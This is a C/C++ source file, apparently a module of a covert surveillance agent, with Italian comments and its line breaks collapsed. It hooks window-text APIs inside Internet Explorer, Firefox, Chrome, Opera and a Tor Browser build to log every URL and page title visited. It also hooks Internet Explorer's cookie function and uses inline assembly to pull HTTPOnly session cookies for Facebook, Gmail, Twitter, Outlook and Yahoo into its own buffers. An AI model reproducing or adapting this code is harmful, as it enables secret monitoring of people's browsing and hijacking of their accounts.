#include #include #include #include "ISimpleDOMDocument.h" #define MAXURLLEN 1024 #define MAXURLTITLELEN 256 BOOL bPM_UrlLogStarted = FALSE; // Flag che indica se il monitor e' attivo o meno WCHAR last_url[MAXURLLEN+2]; WCHAR last_window_title[MAXURLTITLELEN+2]; LPFNOBJECTFROMLRESULT pfObjectFromLresult = NULL; BOOL m_url_found = FALSE; #define URL_LOG_VER 0x20100713 typedef BOOL (WINAPI *IsWindow_t) (HWND); typedef struct { COMMONDATA; IsWindow_t pIsWindow; #define BROWSER_UNKNOWN 0x00000000 #define BROWSER_IE 0x00000001 #define BROWSER_MOZILLA 0x00000002 #define BROWSER_OPERA 0x00000003 #define BROWSER_CHROME 0x00000005 #define BROWSER_TYPE_MASK 0x3FFFFFFF #define BROWSER_SETTITLE 0x80000000 DWORD browser_type; } SendMessageURLStruct; SendMessageURLStruct SendMessageURLData; typedef struct { DWORD browser_type; HWND browser_window; DWORD reason; WCHAR title[MAXURLTITLELEN+1]; } UrlLogParamsStruct; typedef struct _url_conf { DWORD tag; BOOL capture_screen; } url_conf; LRESULT __stdcall PM_SendMessageURL(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { BOOL *Active; MARK_HOOK INIT_WRAPPER(SendMessageURLStruct) CALL_ORIGINAL_API(4) Active = (BOOL *)pData->pHM_IpcCliRead(PM_URLLOG); // Controlla se il monitor e' attivo e se la funzione e' andata a buon fine if (!Active || !(*Active) || !ret_code) return ret_code; if (Msg == WM_SETTEXT && pData->pIsWindow(hWnd)) pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)&hWnd, 4, pData->browser_type | BROWSER_SETTITLE, IPC_DEF_PRIORITY); return ret_code; } DWORD PM_SendMessageURL_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE h_usr; // Verifica autonomamente se si tratta del processo firefox ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "firefox.exe") && stricmp(proc_name, "iexplore.exe") && stricmp(proc_name, "chrome.exe") && stricmp(proc_name, "tbb-firefox.exe")) return 1; // Hooka solo firefox e iexplorer } else return 1; if (!stricmp(proc_name, "firefox.exe")) SendMessageURLData.browser_type = BROWSER_MOZILLA; else if (!stricmp(proc_name, "iexplore.exe")) SendMessageURLData.browser_type = BROWSER_IE; else if (!stricmp(proc_name, "chrome.exe")) SendMessageURLData.browser_type = BROWSER_CHROME; else SendMessageURLData.browser_type = BROWSER_UNKNOWN; VALIDPTR(h_usr = LoadLibrary("User32.dll")); VALIDPTR(SendMessageURLData.pIsWindow = (IsWindow_t)HM_SafeGetProcAddress(h_usr, "IsWindow")); SendMessageURLData.pHM_IpcCliRead = pData->pHM_IpcCliRead; SendMessageURLData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; SendMessageURLData.dwHookLen = 800; return 0; } BOOL __stdcall PM_SetWindowText(HWND hWnd, BYTE *text) { BOOL *Active; MARK_HOOK INIT_WRAPPER(SendMessageURLStruct) CALL_ORIGINAL_API(2) Active = (BOOL *)pData->pHM_IpcCliRead(PM_URLLOG); // Controlla se il monitor e' attivo e se la funzione e' andata a buon fine if (!Active || !(*Active) || !ret_code) return ret_code; if ( pData->pIsWindow(hWnd)) pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)&hWnd, 4, pData->browser_type | BROWSER_SETTITLE, IPC_DEF_PRIORITY); return ret_code; } DWORD PM_SetWindowText_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE h_usr; // Verifica autonomamente se si tratta del processo ie ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "opera.exe") && stricmp(proc_name, "chrome.exe") && stricmp(proc_name, "iexplore.exe")) return 1; // Hooka solo opera } else return 1; if (!stricmp(proc_name, "opera.exe")) SendMessageURLData.browser_type = BROWSER_OPERA; else if (!stricmp(proc_name, "chrome.exe")) SendMessageURLData.browser_type = BROWSER_CHROME; else if (!stricmp(proc_name, "iexplore.exe")) SendMessageURLData.browser_type = BROWSER_IE; else SendMessageURLData.browser_type = BROWSER_UNKNOWN; VALIDPTR(h_usr = LoadLibrary("User32.dll")); VALIDPTR(SendMessageURLData.pIsWindow = (IsWindow_t)HM_SafeGetProcAddress(h_usr, "IsWindow")); SendMessageURLData.pHM_IpcCliRead = pData->pHM_IpcCliRead; SendMessageURLData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; SendMessageURLData.dwHookLen = 800; return 0; } void WriteLogURL(WCHAR *url, UrlLogParamsStruct *pUrlLogParams, BOOL check_url) { BYTE url_buffer[sizeof(url_info_struct)+MAXURLLEN*sizeof(WCHAR)]; url_info_struct *url_info = (url_info_struct *)url_buffer; url_info->uBrowserType = pUrlLogParams->browser_type; if (!url) return; // Logghiamo solo i protocolli interessanti if (check_url && wcsnicmp(url, L"http", 4) && wcsnicmp(url, L"ftp", 3)) return; _snwprintf_s(url_info->url_name, MAXURLLEN, _TRUNCATE, L"%s", url); if (!wcsncmp(last_url, url, MAXURLLEN) && !wcsncmp(last_window_title, pUrlLogParams->title, MAXURLTITLELEN)) return; // In opera viene triggerato piu' volte. Se il titolo e' uguale o l'url e' uguale, allora e' una // transizione di pagina if (pUrlLogParams->browser_type == BROWSER_OPERA) { if (!wcsncmp(last_url, url, MAXURLLEN) || !wcsncmp(last_window_title, pUrlLogParams->title, MAXURLTITLELEN)) return; } _snwprintf_s(last_url, MAXURLLEN, _TRUNCATE, L"%s", url); _snwprintf_s(last_window_title, MAXURLTITLELEN, _TRUNCATE, L"%s", pUrlLogParams->title); // Costruisce e scrive il log sequenziale bin_buf tolog; struct tm tstamp; DWORD delimiter = ELEM_DELIMITER; DWORD log_ver = URL_LOG_VER; GET_TIME(tstamp); tolog.add(&tstamp, sizeof(tstamp)); tolog.add(&log_ver, sizeof(DWORD)); tolog.add(url_info->url_name, (wcslen(url_info->url_name)+1)*sizeof(WCHAR)); tolog.add(&(pUrlLogParams->browser_type), sizeof(DWORD)); tolog.add(pUrlLogParams->title, (wcslen(pUrlLogParams->title)+1)*sizeof(WCHAR)); tolog.add(&delimiter, sizeof(DWORD)); LOG_ReportLog(PM_URLLOG, tolog.get_buf(), tolog.get_len()); } BOOL isURL(WCHAR *url) { WCHAR *ptr; ptr = wcschr(url, L'.'); if (!ptr) return FALSE; ptr++; if ((*ptr) == 0 || (*ptr) == L'.') return FALSE; ptr++; if (!wcschr(ptr, L'.') && !wcschr(ptr, L'//')) return FALSE; return TRUE; } void URLOleWalk(IAccessible* iAcc, UrlLogParamsStruct *pUrlLogParams, int deep) { HRESULT hr; VARIANT vChild; BSTR val; LONG childCount, returnCount; if (iAcc == NULL || m_url_found == TRUE || deep >= 100) return; vChild.vt = VT_I4; vChild.lVal = CHILDID_SELF; if (iAcc->get_accValue(vChild, &val) == S_OK) { if (val) { if (!wcsncmp(val, L"http", wcslen(L"http")) || (pUrlLogParams->browser_type == BROWSER_OPERA && isURL(val)) || (pUrlLogParams->browser_type == BROWSER_CHROME && isURL(val))) { WriteLogURL(val, pUrlLogParams, FALSE); m_url_found = TRUE; SysFreeString(val); return; } } SysFreeString(val); } if (iAcc->get_accChildCount(&childCount) != S_OK) return; VARIANT* pArray = new(std::nothrow) VARIANT[childCount]; if (!pArray) return; hr = FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount); if (FAILED(hr)) { delete pArray; return; } for(int x = 0; x < returnCount; x++){ VARIANT vtChild = pArray[x]; if (vtChild.vt == VT_DISPATCH) { IDispatch* pDisp = vtChild.pdispVal; IAccessible* pChild = NULL; hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild); if(hr == S_OK) { // recurse URLOleWalk(pChild, pUrlLogParams, deep+1); pChild->Release(); } } } for(int i = 0; i < returnCount; i++) VariantClear(&pArray[i]); if(pArray) delete pArray; } BOOL CALLBACK URLEnumChildProc(HWND hwnd,LPARAM pUrlLogParams) { WCHAR buf[100]; BSTR url=NULL, doctype=NULL, title=NULL; HRESULT hr; if (FNC(GetClassNameW)( hwnd, (LPWSTR)&buf, sizeof(buf)/sizeof(buf[0]) ) == 0) return TRUE; if ( wcscmp( buf, L"Internet Explorer_Server" ) == 0) { IHTMLDocument2 *spDoc = NULL; LRESULT lRes; UINT nMsg; if ( !pfObjectFromLresult ) return FALSE; nMsg = FNC(RegisterWindowMessageW)( L"WM_HTML_GETOBJECT" ); if ( !HM_SafeSendMessageTimeoutW( hwnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes ) ) return FALSE; hr = (*pfObjectFromLresult)( lRes, IID_IHTMLDocument2, 0, reinterpret_cast(&spDoc) ); if ( SUCCEEDED(hr) && spDoc != NULL ) { // Verifica che sia veramente quella attiva hr = spDoc->get_title(&title); if (SUCCEEDED(hr)) { if (wcsncmp((WCHAR *)title, ((UrlLogParamsStruct *)pUrlLogParams)->title, wcslen((WCHAR *)title))) { if (title) SysFreeString(title); spDoc->Release(); return TRUE; } if (title) SysFreeString(title); } hr = spDoc->get_URL(&url); if (SUCCEEDED(hr)) { WriteLogURL(url, (UrlLogParamsStruct *)pUrlLogParams, TRUE); if (url) SysFreeString(url); } spDoc->Release(); } return FALSE; } else if ( wcscmp( buf, L"MozillaWindowClass" ) == 0 ) { IAccessible *pAccessible = NULL; IServiceProvider *pServProv = NULL; ISimpleDOMDocument *pSimpleDOMDocument = NULL; BOOL ret_val = TRUE; hr = FNC(AccessibleObjectFromWindow)(hwnd, OBJID_CLIENT, IID_IAccessible,(void**)&pAccessible); if (SUCCEEDED(hr) && pAccessible != NULL) { pAccessible->QueryInterface(IID_IServiceProvider,(void**)&pServProv); if (pServProv) { const GUID refguid = {0x0c539790, 0x12e4, 0x11cf, 0xb6, 0x61, 0x00, 0xaa, 0x00, 0x4c, 0xd6, 0xd8}; hr = pServProv->QueryService(refguid, IID_ISimpleDOMDocument, (void**)&pSimpleDOMDocument); if (SUCCEEDED(hr) && pSimpleDOMDocument != NULL) { hr = pSimpleDOMDocument->get_URL(&url); if (SUCCEEDED(hr)) { hr = pSimpleDOMDocument->get_docType(&doctype); if (!SUCCEEDED(hr)) doctype = NULL; if (!doctype || wcscmp(doctype, L"window")) { WriteLogURL(url, (UrlLogParamsStruct *)pUrlLogParams, TRUE); ret_val = FALSE; } if (doctype) SysFreeString(doctype); if (url) SysFreeString(url); } pSimpleDOMDocument->Release(); } pServProv->Release(); } pAccessible->Release(); } // Se ha trovato un URL (firefox fino al 3) non continua a cercare if (!ret_val) return ret_val; } // Per Chrome, Opera o Firefox4 if ( wcscmp(buf, L"OpWindow")==0 || wcscmp(buf, L"OperaWindowClass")==0 || wcsncmp(buf, L"Chrome", wcslen(L"Chrome"))==0 || wcscmp( buf, L"MozillaWindowClass" )==0) { IAccessible *iAcc = NULL; m_url_found = FALSE; // Serve come semaforo per far fermare le funzioni ricorsive hr = FNC(AccessibleObjectFromWindow)(hwnd, OBJID_WINDOW, IID_IAccessible,(void**)&iAcc); if (SUCCEEDED(hr) && iAcc != NULL) { URLOleWalk(iAcc, (UrlLogParamsStruct *)pUrlLogParams, 0); iAcc->Release(); return !m_url_found; } return TRUE; } else return TRUE;// continua a cercare... } void GetURLBarContent(HWND hWnd, DWORD browser_type) { UrlLogParamsStruct UrlLogParams; if (!hWnd) return; UrlLogParams.browser_type = browser_type & BROWSER_TYPE_MASK; UrlLogParams.reason = browser_type & (~BROWSER_TYPE_MASK); UrlLogParams.browser_window = hWnd; memset(UrlLogParams.title, 0, sizeof(UrlLogParams.title)); HM_SafeGetWindowTextW(UrlLogParams.browser_window, UrlLogParams.title, MAXURLTITLELEN); CoInitialize( NULL ); // Se non lo trova sulla finestra radice, allora cerca sui figli if (URLEnumChildProc(hWnd, (LPARAM)&UrlLogParams)) FNC(EnumChildWindows)(hWnd, URLEnumChildProc, (LPARAM)&UrlLogParams); CoUninitialize(); } typedef WCHAR * (WINAPI *StrStrW_t) (WCHAR *, WCHAR *); #define MAX_COOKIE_SIZE 2048 typedef struct { COMMONDATA; WCHAR local_cookie[MAX_COOKIE_SIZE]; StrStrW_t pStrStrW; } InternetGetCookieExStruct; InternetGetCookieExStruct InternetGetCookieExData; #define WCSLEN(x,y) { y=0; for(;x[y];y++);} #define COOKIE_IEXPLORER 0x0F000000 #define COOKIE_FACEBOOK 0x100 #define COOKIE_TWITTER 0x200 #define COOKIE_GMAIL 0x300 #define COOKIE_OUTLOOK 0x400 #define COOKIE_YAHOO 0x500 #define COOKIE_MASK 0xFFFF BOOL __stdcall PM_InternetGetCookieEx(LPCWSTR lpszURL, LPCWSTR lpszCookieName, LPCWSTR lpszCookieData, LPDWORD lpdwSize, DWORD dwFlags, DWORD_PTR dwReserved) { DWORD ret_code; DWORD name_len; DWORD origin; DWORD old_flags; DWORD old_size; WCHAR *old_buffer; WCHAR *old_cname; MARK_HOOK INIT_WRAPPER(InternetGetCookieExStruct) WCHAR facebook_url[] = { L'f', L'a', L'c', L'e', L'b', L'o', L'o', L'k', L'.', L'c', L'o', L'm', L'/', 0 }; WCHAR gmail_url[] = { L'm', L'a', L'i', L'l', L'.', L'g', L'o', L'o', L'g', L'l', L'e', L'.', L'c', L'o', L'm', L'/', 0 }; WCHAR twitter_url[] = { L't', L'w', L'i', L't', L't', L'e', L'r', L'.', L'c', L'o', L'm', L'/', 0 }; WCHAR outlook_url[] = { L'l', L'i', L'v', L'e', L'.', L'c', L'o', L'm', L'/', 0 }; WCHAR yahoo_url[] = { L'm', L'a', L'i', L'l', L'.', L'y', L'a', L'h', L'o', L'o', L'.', L'c', L'o', L'm', L'/', 0 }; DWORD local_size = MAX_COOKIE_SIZE-1; WCHAR *local_cookie; char *local_cookie_char; DWORD i; // Cerca di capire se si tratta di un dominio interessante local_cookie = pData->local_cookie; origin = COOKIE_IEXPLORER; if (pData->pStrStrW && lpszCookieData && lpszURL && lpdwSize) { if (pData->pStrStrW((WCHAR *)lpszURL, facebook_url)) origin |= COOKIE_FACEBOOK; else if (pData->pStrStrW((WCHAR *)lpszURL, gmail_url)) origin |= COOKIE_GMAIL; else if (pData->pStrStrW((WCHAR *)lpszURL, twitter_url)) origin |= COOKIE_TWITTER; else if (pData->pStrStrW((WCHAR *)lpszURL, outlook_url)) origin |= COOKIE_OUTLOOK; else if (pData->pStrStrW((WCHAR *)lpszURL, yahoo_url)) origin |= COOKIE_YAHOO; } if (!(origin & COOKIE_MASK)) { CALL_ORIGINAL_API_SEQ(6) return ret_code; } // Modifica il flag per prendere i cookie HTTPOnly __asm { PUSH EAX MOV EAX, DWORD PTR [EBP+0x18] MOV [old_flags], EAX MOV EAX, DWORD PTR [EBP+0x14] MOV [old_size], EAX MOV EAX, DWORD PTR [EBP+0x10] MOV [old_buffer], EAX MOV EAX, DWORD PTR [EBP+0x0C] MOV [old_cname], EAX MOV EAX, 0x00002000 MOV DWORD PTR [EBP+0x18], EAX LEA EAX, local_size MOV DWORD PTR [EBP+0x14], EAX MOV EAX, local_cookie MOV DWORD PTR [EBP+0x10], EAX XOR EAX, EAX MOV DWORD PTR [EBP+0x0C], EAX POP EAX } local_cookie[0] = 0; CALL_ORIGINAL_API_SEQ(6) if (ret_code) { if (local_cookie[0] != 0) { // Toglie gli zeri local_cookie_char = (char *)local_cookie; for (i=0; local_cookie[i]; i++) local_cookie_char[i] = (char)local_cookie[i]; local_cookie_char[i] = 0; WCSLEN(local_cookie_char, name_len); if (name_len > 0) { name_len++; // Spero che tagliando rimanga la parte importante di cookie... if (name_len > MAX_MSG_LEN) name_len = MAX_MSG_LEN; pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)local_cookie_char, name_len, origin, IPC_DEF_PRIORITY); } } } // Rimette i parametri originali e richiama la funzione __asm { PUSH EAX MOV EAX, [old_flags] MOV DWORD PTR [EBP+0x18], EAX MOV EAX, [old_size] MOV DWORD PTR [EBP+0x14], EAX MOV EAX, [old_buffer] MOV DWORD PTR [EBP+0x10], EAX MOV EAX, [old_cname] MOV DWORD PTR [EBP+0x0C], EAX POP EAX } CALL_ORIGINAL_API_SEQ(6) return ret_code; } DWORD PM_InternetGetCookieEx_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "iexplore.exe")) return 1; // Hooka solo iexplorer } else return 1; VALIDPTR(hMod = LoadLibrary("Shlwapi.dll")) VALIDPTR(InternetGetCookieExData.pStrStrW = (StrStrW_t) HM_SafeGetProcAddress(hMod, "StrStrW")) ZeroMemory(InternetGetCookieExData.local_cookie, sizeof(InternetGetCookieExData.local_cookie)); InternetGetCookieExData.pHM_IpcCliRead = pData->pHM_IpcCliRead; InternetGetCookieExData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; InternetGetCookieExData.dwHookLen = 1000; return 0; } DWORD __stdcall PM_UrlLogDispatch(BYTE * msg, DWORD dwLen, DWORD dwFlags, FILETIME *dummy) { DWORD origin = COOKIE_MASK; DWORD size = sizeof(FACEBOOK_IE_COOKIE)-sizeof(char); origin = dwFlags & (~origin); if (dwLen < 4) return 1; if (origin == COOKIE_IEXPLORER) { origin = dwFlags & COOKIE_MASK; if (size > dwLen) size = dwLen; if (origin == COOKIE_FACEBOOK) { ZeroMemory(FACEBOOK_IE_COOKIE, sizeof(FACEBOOK_IE_COOKIE)); memcpy(FACEBOOK_IE_COOKIE, msg, size); } else if (origin == COOKIE_TWITTER) { ZeroMemory(TWITTER_IE_COOKIE, sizeof(TWITTER_IE_COOKIE)); memcpy(TWITTER_IE_COOKIE, msg, size); } else if (origin == COOKIE_GMAIL) { ZeroMemory(GMAIL_IE_COOKIE, sizeof(GMAIL_IE_COOKIE)); memcpy(GMAIL_IE_COOKIE, msg, size); } else if (origin == COOKIE_OUTLOOK) { ZeroMemory(OUTLOOK_IE_COOKIE, sizeof(OUTLOOK_IE_COOKIE)); memcpy(OUTLOOK_IE_COOKIE, msg, size); } else if (origin == COOKIE_YAHOO) { ZeroMemory(YAHOO_IE_COOKIE, sizeof(YAHOO_IE_COOKIE)); memcpy(YAHOO_IE_COOKIE, msg, size); } return 1; } GetURLBarContent(*((HWND *)msg), dwFlags); return 1; } DWORD __stdcall PM_UrlLogStartStop(BOOL bStartFlag, BOOL bReset) { // Lo fa per prima cosa, anche se e' gia' in quello stato // Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf // che li mette in stop non verrebbero fermati realmente a causa del check // if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali. // Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda // durante la sync). if (bReset) AM_IPCAgentStartStop(PM_URLLOG, bStartFlag); // Se l'agent e' gia' nella condizione desiderata // non fa nulla. if (bPM_UrlLogStarted == bStartFlag) return 0; // I log va inizializzato come prima cosa... if (bStartFlag) { if (!LOG_InitAgentLog(PM_URLLOG)) return 0; // Se non ha ancora la funzione, la alloca if (!pfObjectFromLresult) { HINSTANCE hInst = LoadLibrary("OLEACC.DLL"); pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)HM_SafeGetProcAddress( hInst, "ObjectFromLresult" ); } } // bStartFlag e' TRUE se il monitor deve essere attivato bPM_UrlLogStarted = bStartFlag; // ...e va chiuso come ultima if (!bStartFlag) LOG_StopAgentLog(PM_URLLOG); return 1; } DWORD __stdcall PM_UrlLogInit(JSONObject elem) { ZeroMemory(last_url, sizeof(last_url)); ZeroMemory(last_window_title, sizeof(last_window_title)); return 1; } void PM_UrlLogRegister() { AM_MonitorRegister(L"url", PM_URLLOG, (BYTE *)PM_UrlLogDispatch, (BYTE *)PM_UrlLogStartStop, (BYTE *)PM_UrlLogInit, NULL); } .